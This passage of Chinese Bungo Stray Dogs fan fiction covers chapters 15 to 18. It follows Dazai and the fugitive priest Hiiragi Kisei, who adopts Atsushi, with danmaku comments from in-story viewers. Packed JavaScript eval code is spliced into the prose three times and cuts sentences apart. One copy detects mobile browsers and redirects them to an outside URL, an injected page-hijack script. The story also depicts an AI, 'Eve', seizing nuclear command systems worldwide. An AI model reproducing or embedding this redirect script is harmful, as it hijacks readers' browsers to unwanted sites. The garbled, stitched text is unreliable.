“我们这边有追踪手段。”种田说,“也动用了最擅长情报分析的人员,依然找不到对方任何马脚。” 话说到一半,他看见太宰治的眼神暗了一瞬。 极快。 快到几乎无法捕捉。 “那就等对方出招吧。”太宰治站起身,“该聊的也聊得差不多了,对方在暗我们在明,急也没用。” “毕竟我刚入职,还有很多事情要准备,失陪。” 太宰治转身要走。 “太宰。”种田叫住他。 太宰治停住脚步,没有回头。 种田沉默了几秒,他想问很多事—— 比如你和柊贵诚在森林里究竟聊了什么?根据侧写,那么危险的罪犯为什么独独放过你,甚至还在你面前暴露了真容? 但他最终只是说: “有任何发现,请及时联系特务科。” 太宰治没答话,推门出去了。 会议室里剩下种田和福泽谕吉。 福泽谕吉自始至终没有插话,此刻才开口:“后续若有相关情报,侦探社会及时与特务科沟通。” 种田点点头,站起身与他握手。 走到门口,他忽然停住,回头看了一眼长桌上那叠被太宰治遗落的资料。 没说什么。 推门离开。 会议室彻底安静下来。 江户川乱步不知从哪个角落冒出来,手里捏着一颗碧绿的玻璃弹珠,对着窗外的光举起来,眯着眼看。 “社长。”他的声音带着惯常的,小孩子发现秘密的雀跃,“你说他是真不知道特务科丢了什么,还是不敢说——” “又或者,不能说?” 福泽谕吉没有回答。 乱步将弹珠换了个角度,光影在玻璃内部折转成细碎的星芒。 “两个有秘密的人。”他把弹珠收回口袋,双手枕在脑后,慢悠悠往外走,“不过既然是名侦探,当然不会追着不想说的人问。” “反正总会知道的,因为我可是名侦探啊。” 福泽谕吉望着他的背影。 “交给你了,乱步。” 乱步没有回头,一副信心十足的样子:“当然,我可是名侦探啊!” …… 窗外的天色彻底暗下来时,太宰治还坐在自己的座位上。 屋内没有开灯。 整间办公室只有他一个人。 福泽谕吉下午出门会客,与谢野晶子去了医疗物资仓库,其他人各自有任务。 太宰治从抽屉最深处摸出那份报告。 【关于“法迪尔”历史背景及灭国事件的补充调查】 他翻开第一页。 【法迪尔王国,位于欧洲东部,于二十三年前因“圣座事件”灭国。 据现存极少数资料记载,灭国当晚,王宫发生大规模异能失控现象,一夜之间,王族全员死亡,王城化为废墟。 官方结论为“异能暴走事故”,但此次事件疑点颇多。 现存已知王裔:一人。 姓名:柊贵诚,灭国时年五岁,下落不明。】 太宰治一行一行看下去。 很慢。 很安静。 他翻到第三页。 【法迪尔为国教合一体制,王即主教。灭国后,该教派分裂为数支小型地下组织,已无影响力。 注:部分资料提及,柊贵诚流亡期间,曾隐姓埋名在某国边境小镇担任过神职工作。】 太宰治合上报告。 忽然想起那人在森林里说过的话,他从未对任何人提起。 ——“我了解过你,太宰治,我们是同路人。” ——“这个世界已经病了!世间最恶的就是人心,你不是已经体验过了吗?” ——“那个叫织田作之助的男人。” ——“你可能觉得想要改变世界只是说大话,但是相信我,我有能力做到,去除人类的劣根性。” 太宰治将报告放回抽屉。 没有关上。 他保持着那个姿势,坐在黑暗里,手还搭在抽屉拉环上。 很久很久。 “……柊贵诚。”他轻声念出这个名字,“你真是一个有意思的家伙啊?” 目光长久地落在那张模糊的照片上。 照片是黑白的老式银盐相纸,边缘泛着浅褐。 神父站在午后的廊下,阳光从他身后倾泻,在他周身勾勒出一圈淡金色的光。 微微低着头,看不清眉眼,只有被光线照亮的侧脸线条,年轻,俊美,像中世纪祭坛画里走出来的圣徒。 他身前跪着一个男人。 那人低着头,蓬乱的黑色发顶触到神父垂落的袍角。 神父的手覆在他额上,似赐福,也似宽恕。 那个跪着的男人闭着眼睛。 他脸上没有痛苦,没有祈求,只有一种近乎婴儿熟睡时的、全然交付的松弛。 好一幅神爱世人。 好一个年轻的神,低下他未曾蒙尘的眼,将手放在一个罪人发烫的额上。 仿佛他生来就是为了赦免。 太宰治把抽屉轻轻推回去了。 咔哒一声。 很轻。 在寂静的办公室里却格外清晰。 他往后仰进椅背,将手背搭上眼睛。 想不通。 【弹幕:好奇是心动的开始,bro你坠入爱河啦!】 【弹幕:俺们老柊还是个小王子嘞!】 【弹幕:亡国的皇储、侍奉神明的神父、理想主义者,这么多元素融于一身,真是要把我香迷糊了。】 【弹幕:雨中抱起中岛敦的那一幕,真的让我感受到了柊贵诚这个人物身上的神性】 【弹幕:雨中躺在泥地里的孤儿院其他人:……我呢,我是说,那我们呢?!】 --- 中岛敦睁开眼睛。 映入视野的不是阴冷潮湿的地牢,而是再普通不过的卧室天花板。 但,这对中岛敦来说,就是最大的不正常。 “醒了?” 一道温和的声音从旁边传来。 中岛敦猛地转过头,他床边的椅子上坐着一个人。 看清那张脸的瞬间,中岛敦惊得直接从床上坐了起来。 这张脸他见过。 昏迷前最后一眼看见的,就是这个人。 “这里是哪里?你……我……”中岛敦语无伦次,不知道该从何问起。 柊贵诚没有说话,只是从床头柜上拿起一杯温水,递到他面前。 “别急,先喝口水吧。” 中岛敦愣愣地接过来。 人在大脑空白的时候,似乎总会下意识接过别人递来的东西。 中岛敦明明知道眼前这个男人很可能和自己昏迷有关,应该保持警惕才对,但他还是接了过来,还听话地喝了一口。 温水滑过喉咙,让他稍微冷静了些。 “……你好。”中岛敦握着水杯,小心翼翼地开口,“我叫中岛敦,请问你是?” 声音中带着一种连他自己都觉得奇怪的信任,明明这人身份不明,可中岛敦就是能感觉到对方身上的善意。 柊贵诚没有立刻回答。 他只是看着中岛敦,目光沉静,沉静得让中岛敦有些不自在,却又不觉得被冒犯。 “我知道你叫中岛敦。”柊贵诚终于开口,声音依然是那种温和的调子,“至于我……你可以叫我柊贵诚。” 中岛敦点点头,等着他继续说下去。 柊贵诚却忽然问了一个不相干的问题:“你知道自己之前在哪里吗?” 中岛敦愣住了。 之前在哪里? 他努力回想,记忆却像破碎的镜子,只剩一些模糊的碎片,潮湿的空气,铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我……”中岛敦抬起头,想说什么,却不知道该说什么。 “你被关在那里多久了?”柊贵诚问。 中岛敦摇头,他记不得了。 孤儿院的日子本就模糊,地下室的日子更是混沌一片。没有窗户,没有光,没有人告诉他今天是几月几号,他只能凭送饭的次数来数日子,但数着数着就乱了。 “很久。”中岛敦最后只能这么说。 柊贵诚点点头,没有追问。 房间里安静了一会儿。 “我想跟你说一件事。”柊贵诚开口,“可能会有些突然,但我希望你能听我说完。” 中岛敦看着他。 “你现在这个样子,是没有办法在人类社会生存下去的。” 柊贵诚的语气依然是那种温和的调子,但话的内容却让中岛敦愣住了。 “你被关得太久了。”柊贵诚继续说,“你学过怎么和人相处吗?知道怎么买东西吗?知道走在路上要看红绿灯吗?知道被欺负了该找谁吗?” 中岛敦一个都答不上来。 “你什么都不懂。”柊贵诚说,“这不是你的错,没有人教过你。但是,如果你就这样被丢到社会里,你会死的。” 最后三个字,他说得很轻,却像石头一样沉甸甸地落进中岛敦心里。 一只野兽是无法再人类的社会生存下去的 中岛敦低下头,没有说话。 他知道柊贵诚说的是真的。 他甚至不知道自己现在该怎么办。 醒过来之后,他唯一能做的就是被动地呆在原地,因为他根本不知道该往哪里去,该做什么事。 他就像一张白纸,不,比白纸还不如。 白纸至少是干净的,他这张纸上全是别人用脚踩过的泥印。 “所以我想问你一件事。” 中岛敦抬起头。 柊贵诚看着他,目光平和,平和得让中岛敦觉得自己的狼狈好像也没那么难堪了。 “在你能独立生活之前,愿意让我照顾你一段时间吗?” 中岛敦愣住了。 他没听懂。 “你……你说什么?” “我说。”柊贵诚放慢了语速,“我想暂时收养你,教你一些在这个世界上活下去需要知道的事,等你什么时候能自己照顾自己了,你再离开,那时候想去哪都行。” 中岛敦张着嘴,却发不出声音。 收养。 这个词他听过。 孤儿院里偶尔有人来,说是要收养孩子。 被带走的孩子总会露出很幸福的表情,让剩下的人又羡慕又嫉妒。 但他从来没有被选中过。 从来没有人愿意收养他。 “为什么……”中岛敦的声音沙哑,“为什么要对我……” 他说不下去了。 柊贵诚看着他。 沉默了一会儿,柊贵诚站起身,走到窗边。 窗外是午后明亮的阳光,照得他整个人都笼罩在一层淡金色的光里。 “我第一次看见你的时候,”他背对着中岛敦,声音从光线里传来,“你像一只被困住的野兽,冲我嘶吼,但那不是愤怒,是恐惧。” 他转过身,逆着光,看不清脸上的表情。 “你怕我,但你又不知道自己该怎么办,你被困在那里太久了,久到连怎么求救都忘了,只会嘶吼,只会威胁,只会用最笨拙的方式把所有人赶走。” “那不是你的错。” “是那些本该保护你的人,没有保护你。” 中岛敦的眼眶忽然有些发烫。 他低下头,用力眨眼睛。 “我不知道该怎么在这个世界上活下去。”中岛敦说,声音闷闷的,“我什么都……什么都不懂。” “那就学。”柊贵诚走回床边,低头看着他,“我教你。” 中岛敦抬起头。 逆着光,他看清了柊贵诚的表情。 很柔和,很温煦,没有任何施舍或怜悯的意思,就好像他只是在说一件理所当然的事,就好像中岛敦值得被这样对待。 中岛敦的视线忽然模糊了。 他用力吸了吸鼻子,但眼泪还是没忍住,一颗接一颗地滚落下来。 “……好。”中岛敦听见自己的声音,沙哑得不像自己,“好。” 柊贵诚没有说话。 他只是站在那里,等中岛敦哭完。 过了很久,中岛敦才终于停下来,低着头,用袖子胡乱擦脸,觉得又丢脸又不知所措。 这时候,他看见一只手伸过来。 柊贵诚的手在半空顿了顿,最后只是轻轻拍了拍他瘦削的肩膀。 “别哭了。”他说,声音比之前更柔和了一点,“以后会好的。” 中岛敦抬起头,看着他。 暖色调的光从窗外照进来,落在柊贵诚身上。 中岛敦仰着脸,灰紫色的眼眸里映着对方的身影。 16.第 16 章 正式入职武装侦探社之后,太宰治的生活还算平静又安适。 之所以说还算,是因为新搭档国木田独步对他的关注有点过头了。 不过太宰治想,人家是老员工,自己一个新来的,该忍还是得忍。 新人嘛,总是要受点委屈的。 至于国木田“关注”包括但不限于,上班时间随时摸鱼躺尸的太宰治,出任务途中突然跳河入水的太宰治,在路上随便搭讪女性,然后让作为搭档的他被迫道歉的太宰治,以及,全横滨到处乱跑,完!全!不!听!命令的太宰治。 这次依旧是为了磨合这对新组合而安排的任务。 老员工国木田带着新入社的太宰治处理一起失窃案,据报案人描述,怀疑是异能犯罪。 【弹幕:国木田真的很命苦了,这确定是为了磨合他俩,不是为了磨碎国木田吗?】 【弹幕:国木田还是太有棱角了,幸好你的强来辣,最强打磨机太宰治闪亮登场!】 【弹幕:不愧是当过老师的人,心理素质这一块,国木田真的没得说(噗!)】 “这次的报案人丢失了一枚红宝石戒指,是祖传的,也是家族话事人的信物。”国木田简要复述任务提要,“昨晚当事人戴着这枚戒指参加家族聚会,结果在众目睽睽之下凭空消失,这已经是本月第三起贵重珠宝失窃案了。” 国木田不确定自己这个新搭档在报案人陈述时有没有认真听,但性格中的严谨负责让他务必要再重复一遍,确保搭档掌握情报。 现在他们已经探查完昨晚的案发现场,正前往其他几处失窃地点。 “你觉得其他几处现场,我们先去哪个?”国木田问。 虽然新同事是个麻烦精,但以后要长期搭档,他还是想处好关系。 出任务时多沟通,磨合得也快些。 “……” “太宰君,你说——” 等了半天没回应。 国木田回头一看。 身后空空荡荡,只有来来往往的路人,有人正朝他投来奇怪的眼神。 他甚至不知道太宰治什么时候消失的。 合着他刚才自言自语走了一路。 国木田闭了闭眼。 深吸一口气。 又深吸一口气。 “……太宰。”他的声音压得很低,像是从牙缝里挤出来的,“你这家伙!” --- 太宰治这会儿正站在刚才两人经过的那座桥上。 他原本跟在后头走着,百无聊赖,眼睛四处乱瞟,走到桥中间,无意间偏了下头。 然后停住了。 湖面在午后阳光下泛着粼粼的光,桥面到水面的高度,光影,风的方向—— 怎么看怎么合适。 没有一丝丝犹豫。 太宰治做出了本能的选择! 单手撑住栏杆,翻身跨了过去,背对湖面,最后松开手。 又是美好的一天啊! 身体往下坠的时候,好像眼前的一切都慢了下来。 按理说,应该是先看到桥上那些人惊愕的脸,然后是越来越远的天空,最后是感受到越来越近的水面。 但有一道人影,一直残留在太宰治视网膜上。 那人站在他刚才身后的位置,隔着整座桥,隔着午后的阳光,隔着来来往往的行人,就那么站着。 从太宰治翻过栏杆那一刻起,那道目光就没移开过。 就像那人从一开始就站在那儿,等他回头,等他看见,等他往下掉。 视线中的人影跟随跟着他,一起从桥上落进水中。 下坠的时间不长。 水面在他身后炸开。 太宰治沉进水里,冰凉的河水裹住他,按他平时的习惯,遇到这么合心意的河,怎么也得待一会儿。 但这次—— 落水瞬间,他就开始往岸边游。 桥上的人呼救声还没喊出口,太宰治本人已经爬上岸了。 浑身湿透,水顺着头发往下滴,衣服贴在身上,难受得要命。 太宰治心情十分不爽。 直接离开河边。 走了一段路,身后有脚步声跟着。 不紧不慢的,不远不近。 太宰治没回头,继续走。 “太宰治,不和‘老朋友’打声招呼?” 身后传来一道温和的声音,带着点笑。 太宰治停下来,转过身。 脸上写满了不耐烦。 “糟糕,今天真是最糟糕的一天。” 他看着那人,“明明看出我不想见你,我的‘老朋友’怎么还跟上来了?这可不是老朋友该做的事吧。” 柊贵诚站在他身后两三步远的地方。 手上抱着一个牛皮纸袋,袋口探出几根大葱叶子,一副刚从菜市场买菜回来十分日常的模样。 “原来太宰君走这么快是不想见我啊。”柊贵诚嘴上这么说,神情和语气却完全不是那么回事,“真是让人伤心。” 太宰治看看他,又看看他手里那个袋子。 “……你胆子还真够大的。”太宰治开口,语气听不出什么情绪,“一个被异能特务科通缉的罪犯,大摇大摆走在横滨街上?” 柊贵诚低头看看自己的袋子,笑了笑。 “没办法,罪犯也得吃饭啊。” 太宰治没说话。 柊贵诚也没再开口。 两人就这么隔着几步站着。 过了一会儿,柊贵诚抬了抬下巴。 “找个地方坐坐?抱着这个站久了,手酸。” 太宰治看了他一眼,没说话,转身就走。 柊贵诚抱着袋子,跟上去。 两人找了家路边的咖啡店,进去坐下。 柊贵诚把袋子放脚边,服务员过来倒了两杯水。 服务员眼神在那堆蔬菜上停了一下,他家咖啡店和市场一个最西边一个最东边,这两人横穿半个横滨就为了喝口他家的咖啡? 服务员心里犯嘀咕,但顾客就是上帝,什么也没说,拿着点餐单快速离开。 太宰治盯着那袋菜看了半天。 “真是去买菜的?” “骗你干嘛。”柊贵诚端起水杯喝了一口,“超市今天番茄特价,多买了几个。” 太宰治没接话。 安静下来。 窗外的阳光透过玻璃落在桌上,切成一格一格的。咖啡店里没什么人,偶尔有杯碟碰撞的声音。 太宰治垂着眼,不知道在想什么。 柊贵诚也没说话。 服务员送来两杯咖啡,又走了。 过了好一会儿,柊贵诚先开口。 “我最近收养了个孩子。” 太宰治抬起眼皮看他。 “男孩,十四五岁。”柊贵诚看着窗外,“那孩子好像不知道怎么接受别人的好意。” 太宰治没吭声。 “每次给他买点东西,或者对他好点,他都很惶恐。”柊贵诚转回头看他,“太宰君有什么好建议吗?” 太宰治听完,嘴角弯了弯。 “揍他一顿呗。” “?” “让他知道什么情绪在你这儿都没用。”太宰治往后靠了靠,语气随意得很,“接受就完了。你给,他就拿着,你好,他就受着,多简单。” …… 柊贵诚觉得对方话中好像没有一丝开玩笑的意思?! 呃…… 那个孩子好像是叫芥川龙之介? 真是挺不容易的一孩子。 柊贵诚体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184287|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的表示,“谢谢,建议很有用。” 太宰治搅拌者手里的咖啡,忽然开口。 “你那新世界计划,准备得怎么样了?” 问得突然,语气却轻飘飘的,像久别重逢的人随口聊起近况。 柊贵诚也没犹豫。 “最重要的一步,已经完成了。” 太宰治抬起头,弯着眼睛。 “恭喜。” 柊贵诚端起咖啡杯。 “同喜。” 安静又落下来。 窗外的阳光慢慢移动,从桌面移到他们脚边,移到那袋探着葱叶子的袋子上,最后移到墙角。 服务员第三次经过他们这桌的时候,太宰治开口了。 “你那孩子,叫什么名字?” 柊贵诚看着他。 “中岛敦。” 太宰治点点头,没再问。 柊贵诚也没多说。 又过了一会儿,柊贵诚站起来。 “走了。”他弯腰拎起那个袋子,朝太宰治点点头,“下次见。” 太宰治坐在那儿没动。 低头看面前那杯咖啡。 凉透了。 坐了一会儿,他也站起来,往外走。 走着走着,忽然想起一件事。 ——国木田这会儿估计还在找他。 太宰治站在原地想了想,换了个与来时相反的方向。 饿了,先去吃点东西吧。 --- 柊贵诚抱着袋子往回走。 袋子里的番茄和大葱随着步子轻轻晃着,牛皮纸窸窸窣窣响。 走到一条巷子口,手机响了。 他单手抱着袋子,另一只手摸出手机,看了一眼来电显示,接通。 “费佳。” 电话那头传来熟悉的声音,带着点笑意:“最近怎么样?” “挺好。”柊贵诚继续往前走,“天天买菜做饭带孩子。” 那边沉默了一秒。 “……你是认真的?” “当然是认真的。”柊贵诚的语气听不出是不是在开玩笑,“你不信?” 费奥多尔没接这个话茬。 “在哪儿?” “横滨。” “横滨?”那边顿了顿,“怎么跑那儿去了?” 柊贵诚脚步顿了一下。 怎么跑到横滨来的? 他想了想,没想明白。 当初带那个孩子离开孤儿院,本来没想好要去哪儿。 往东还是往西,往南还是往北,其实他都无所谓。 结果等回过神来,人已经在横滨了。 “不知道,等反应过来的时候,就在这儿了。” 电话那头没说话。 柊贵诚继续往前走,巷子很窄,两边的墙上爬着藤蔓,午后的阳光从头顶漏下来。 “费佳。”他忽然开口。 “嗯?” “我遇到一个很有意思的人。” “什么人?” 柊贵诚想了想,没直接回答。 “就是觉得……”他顿了顿,“横滨这地方,可能跟我挺有缘的。” 费奥多尔没追问。 电话里安静了一会儿,只有电流的细微声响。 “行。”费奥多尔说,“那你好好带孩子吧。” 柊贵诚笑了一声。 “挂了。” “嗯。” 电话挂断。 柊贵诚把手机收回口袋,继续往前走。 他想起刚才咖啡店里,坐在对面的那个人。 浑身上下湿漉漉的,站在岸边,一脸的不爽。 真是奇怪的感觉…… 柊贵诚说不上来是什么。 反正挺有意思的。 17.第 17 章 【此时的费奥多尔,还没有意识到问题的严重性。】 柊贵诚踏着暮色归来,远远便望见自家门前的石阶上,蹲着一个孤零零的小小身影。 那孩子像是感应到什么,倏地抬起头来,眼睛一亮,整个人便像只见到主人的小犬般飞奔过来,却在离柊贵诚两步远的地方猛地刹住脚,有些拘谨地望着他怀里抱着的东西。 “柊先生。” “敦?”柊贵诚眉梢微动,“怎么不进屋?” 中岛敦垂下眼,耳尖有些发红:“我……我想等你一起回。” 柊贵诚没有再多问,腾出一只手,轻轻揉了揉那颗毛茸茸的脑袋。 “好,我们一起回家。” 两人并肩走进那栋掩映在梧桐树影里的日式老洋房。 木门吱呀一声合上,将暮色关在了外面。] —————— 【狗塑的大猫真的好乖,蹲在门口等饲养员回家.jpg】 【界上最残忍的事,就是把美好的东西撕碎给你看。o(╥﹏╥)o】 【科普时间到,当你长时间凝视一个物体后移开视线,那影像仍会短暂停留在眼前,这叫视觉暂留,也叫视觉停留现象。】 【???啥意思?】 【本磕学家来了!注意“长时间凝视”,也就是说,柊贵诚注视着太宰的同时,太宰也在注视着他!】 【那一瞬的目光交汇,便是两人一同坠落的开始,你在我眼中,与我一起坠落~~~】 【好会磕啊姐妹!这何尝不是一种同生共死呢?(笑)】 【传下去,柊贵诚和太宰治一起跳过河!】 【传下去,柊贵诚和太宰治一起殉过情!】 【……柊太就是真爱!!!(声嘶力竭)】 【我们饭团也悄悄登场了!一个在外面到处流窜,一个在横滨岁月静好!】 【费佳啊,别搞事业了,快去横滨看看吧,你家孩子要被黄毛拐走了(不是)】 而此刻,影厅里的众人,却无暇顾及这些弹幕。 “这房子……怎么有点眼熟?” 第一个开口的是中原中也,他的眉头拧得很紧,脑海中反复回放着开场的某个画面。 因为当时实在是印象太深刻了,太震撼了! 那个半死不活、丧天丧地的太宰治,竟然,活的像个正常人?! “确实眼熟。” “这不就是开头那个‘太宰治’住的地方吗!” “所以……他们可能真是一对儿?” “啊?不是吧兄弟,你才知道?”有人压低了声音,却掩不住激动,“从他们炸白鲸、在风中相拥那一刻我就确定了,哪个正经兄弟会那样?” “我还以为是弹幕瞎说……”那人说着,飞快地往武装侦探社的方向瞟了一眼,声音更低了,“毕竟我以前……在那位大人手下待过。” 正常见过太宰治的人,谁能把“爱情”这种东西和他联系到一起? 但此刻,众人看着屏幕上那间眼熟的房子,忽然间都有些恍惚。 “真是……同居啊!!!” “哇靠,这这这——我的嘴角怎么就控制不住了?!” 一些知晓“书”的内情、甚至暗中谋划过它的人,此刻却是冷汗涔涔。 柊贵诚拿到了“书”? 那个传说中的异能道具,竟然落到了他手里? 难道他后来毁灭半数异能力者,这其中也有“书”的原因? 还有那个被称为“书签”的中岛敦……某些人若有若无地将目光投向影厅另一侧的白发少年,眼神幽深。 尤其是曾经悬赏十亿、只为夺取中岛敦的“组合”,此刻终于后知后觉,原来书与中岛敦的关联,远比他们想象的更深。 “费佳——”果戈里拖长了声音,整个人软塌塌地往旁边靠去,语气里带着三分委屈七分夸张,“原来你和柊贵诚是挚友啊?小丑好难过啊,明明小丑只有费佳一个,费佳却有了别的好朋友。小丑……好伤心。” 而费奥多尔并没有理会一边的果戈里,甚至没看他一眼。 两人坐在远离人群的角落,影影绰绰的光影将费奥多尔笼罩,几乎无人察觉那个屏幕中与柊贵诚并肩而立的“人”,此刻正堂而皇之地坐在这里。 屏幕上的画面仍在继续。 费奥多尔望着那个掀起世界风浪的男人,唇边浮起一丝极淡的笑意。 ——竟然是同路人。 …… 武装侦探社这边,众人隐约能听见四周传来的窃窃私语。 “……同一个房子……” “……同居……” “……送房子……” 国木田独步皱眉:“那个柊贵诚,为什么对中岛敦这么特殊?” 按理说,柊贵诚的目标既然是“书”,既然已经得手,为什么不立刻启动他的计划?反而像没事人一样,在横滨悠闲地养起了孩子? 这话一出,侦探社众人不由得仔细打量起中岛敦来。 难道……中岛敦身上还有什么他们不知道的秘密? 中岛敦被看得浑身不自在,忍不住歪了歪头:“?” 众人齐刷刷收回目光。 不不不。 孩子蠢蠢的。 也许……也许柊贵诚只是单纯喜欢小动物吧。 可一想到屏幕上那个蜷在孤儿院地下室、瘦骨嶙峋的孩子—— 众人的目光又不自觉地软了下来。 他们这边的中岛敦,经历的大概也是一样的过往。 甚至因为没有遇到那个会伸手拉他一把的人,在那座吃人的孤儿院里,待了更久的时间。 想到这里,众人的目光不约而同地带上了几分怜惜。 —————— [太宰治从沙发上坐起身,捂住脑袋。 他好像做了一场很长的梦,梦里是两人重逢的那座桥。 市场在西边,相逢的桥在东边,而…… 太宰治抬起头,看了一眼这栋房子。 家在北边。 他们的每一次“偶遇”,好像某人从来都是早有预谋啊。 侦探社的窗边是,森林是,大桥上也是…… 太宰治从沙发上站起身,在客厅里随意活动了几下僵硬的四肢,在沙发上窝了一宿,骨头缝里都透着酸。 “夏娃。” 【我在,太宰先生。】依旧是那道清冷的女声电子音。 【请问有什么能帮助您的吗?】 “天气怎么样?” 【晴,太宰先生。】 “今天有什么安排吗?” 【今天并无任何事项安排,您可自行决定。】 “……” 太宰治沉默了一瞬。 “换回去。” 【%*#¥-#好的,太宰先生。】 短暂的杂音过后,那道清朗熟悉的男声在耳边响起,带着一丝刚刚切换过来的轻微沙哑,却温柔得像拂过窗棂的晨光。 【早上好,太宰。】语气轻缓,仿佛真的站在太宰身边,正隔着咫尺的距离与他说话。 【周末愉快!今天横滨天气很好,阳光暖而不烈,适合出门走走。如果您愿意的话,港口那边新开了一家咖啡店,据说窗边的位置能看见海,或者……】 他顿了顿,声音里带上了一丝极淡的笑意。 【或者只是随便走走也好,晒晒太阳,吹吹风。】 太宰治没说话,只是垂着眼,不知在想什么。 【无论您今天想做什么,出门走走,还是留在家里发呆,都很好。】 【只是……】 他轻轻笑了一声。 【只是别再睡沙发了,好么?】 太宰治终于动了动,抬起眼,望向窗外的天光。 “话多。” 他说。 可那声音没有再反驳,只是安静地笑了一下,像是终于放了心。 太宰治站起身,往浴室走去。 走出两步,又停下来。 “……港口那家咖啡店,窗边真的能看见海?” 那声音顿了一瞬,而后轻声答道: 【是的,很美。】 太宰治没再说话。 但他的脚步,比方才轻快了些。 --- 太宰治坐在窗边,手边的咖啡已经凉了。 阳光透过玻璃落进来,暖融融地铺在桌面上,也铺在窗外每一个经过的人身上。 今天天气太好,好得像是在故意邀请所有人出门一样,整个横滨仿佛都倾巢而出,街道上人流如织,每个人的脸上都带着笑。 情侣挽着手走过,父母推着婴儿车慢悠悠地晃,几个学生模样的少年追跑打闹,笑声隔着玻璃传进来,闷闷的,却鲜活得很。 太热闹了。 太宰治垂下眼,指尖无意识地摩挲着咖啡杯的边缘。 远处的海很蓝,蓝得有些晃眼,太宰治看了一会儿,目光便收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“带回这个世界。”男孩一字一顿,“把逝去的人,带回这个世界。” 安静了一瞬。 然后女孩笑起来,笑声清脆:“死人复活?这怎么可能!这种传说也太假了吧!” “我也觉得假。”男孩也跟着笑,“不过老大爷说得可认真了,还说这是这两年才流行起来的传说,以前根本没有。” 两年。 太宰治盯着杯身上那朵白色的桔梗,目光沉沉的,不知在想什么。 “不过说到这个——”女孩的声音忽然变得兴奋起来,“你还记不记得我之前关注的那个灵异直播博主?” “那个停更很久的?” “对!就是他!”女孩压低声音,神神秘秘地凑近男孩,“他上个月突然‘诈尸’了,发了一条新视频,说他经历了一段神奇的经历。” “什么经历?” “他说……”女孩的声音几乎变成了耳语,“他死去多年的妹妹回来了。” 男孩愣了一下:“啊?” “嗯,就是字面上的意思。”女孩说着,忽然想起什么,低头去掏手机,“你等等啊,我找给你看。” 她划拉了几下屏幕,忽然顿住了。 “诶?” “怎么了?” 女孩抬起头,眼睛里带着一丝难以置信的神色:“这个博主……他的IP地址显示的是……” 她顿了顿,像是被自己的发现惊到了。 “横滨。” 两人不约而同地对视了一眼。 “……不会这么巧吧?”男孩的声音有些发干。 女孩没有说话,只是低头盯着手机屏幕,盯着那个定位在横滨的博主主页,盯着置顶视频里那张合影—— 照片上,一个年轻男人揽着一个少女的肩膀。少女笑得很甜,露出一点小虎牙。 评论区有人问:这是你女朋友吗? 博主回复:是我妹妹,死去十二年的妹妹。 女孩的手指微微发抖。 她抬起头,望向男孩,声音轻得像怕惊动什么: “你说……那个午夜传说……会不会是真的?” “别吓我啊!” …… 太宰治的手指猛地一紧。 后面的话,太宰治已经听不见了。 —带回逝去的人。 18.第 18 章 武装侦探社内,国木田独步坐在办公桌前,眉头紧锁。 钢笔悬在半空,半晌没有落下。 他抬起头,看向对面那张堆满杂物的办公桌,文件、绷带、一本翻到一半的《完全自杀手册》。 但唯独不见那个本该瘫在椅子上骚扰同事的身影。 “中岛。” 正在整理文件的中岛敦抬头:“嗯?” “最近见过太宰吗?” 中岛敦想了想,摇头:“上周给他送过一次晚饭,之后就没见了。” “送晚饭?”国木田皱眉,“送去哪儿?” “呃……”中岛敦挠了挠脸颊,“就……原来住的地方。” 国木田盯着他看了两秒,没有追问。 自从那件事之后,中岛敦就从那栋房子搬了出来。现在住侦探社附近的小宿舍里,楼上楼下都是同事,热闹些。 挺好的。 国木田往椅背上一靠:“太宰那家伙,行踪越来越难琢磨了!上次在社里正经待着是什么时候?四天前?” “嗯,来拿了一趟文件就走了。”中岛敦应道。 “白鲸事件后横滨是安静了,但这种安静……”国木田揉了揉眉心,“总让人心里不踏实。” 中岛敦没说话。 他隐约觉得,自从白鲸号事件后,“柊贵诚”这个名字就开始被频繁提起,明明之前的两年间,周围的人都好像有意识地在回避那个名字,几乎很少听到。 “中岛?” “啊。”中岛敦回过神,“太宰先生应该不会有事的。” “我不是担心他有事。”国木田叹气,“是担心他惹事。” 中岛敦忍不住笑了。 确实,太宰先生惹事的本事比出事的本事大多了。 “不过……”中岛敦犹豫了一下,“太宰先生现在应该没什么危险。” 国木田挑眉看他。 中岛敦沉默了一瞬。 【敦君,今天降温,出门加衣服。】 【敦君,好好吃饭,不要老吃茶泡饭,对胃不好。】 【敦君,太宰今天在港口那边,麻烦你了。】 “因为……”中岛敦看向窗外,“如果有什么事,‘柊’会提醒的。” 国木田顺着他的目光望去,什么都没看到,只有横滨惯常的蓝天白云,和街道旁随处可见的桔梗花。 但他知道中岛敦在说什么。 “柊”,那个人死后留下的人工智能异能体。 虽说是世界最高人工智能夏娃的子系统,却拥有夏娃的最高权限。 夏娃的存在本身,就是对这个世界现有秩序的最大嘲讽。 起初,人们以为她只是柊贵诚的辅助性异能产物,帮柊贵诚消除网络上的信息。 直到那一天,那个名叫柊贵诚的男人死去。 七个国家的军事卫星在同一时刻调整了轨道,将镜头对准了各自的核弹发射井。 直到那座号称“绝对防御”的地下指挥中心,在三十七秒内失去了对所有武器的控制权。 整个世界陷入了死一般的寂静。 夏娃的可怕之处,不在于她有多强大的运算能力,不在于她有多精密的算法逻辑,而在于她无处不在。 军用网络、民用网络、电力系统、通讯系统、交通管制、金融结算、气象卫星、导航卫星、侦察卫星、通讯卫星,每一颗漂浮在近地轨道上的金属疙瘩,只要内部流淌着数据,就是她的眼睛,她的耳朵,她的手脚。 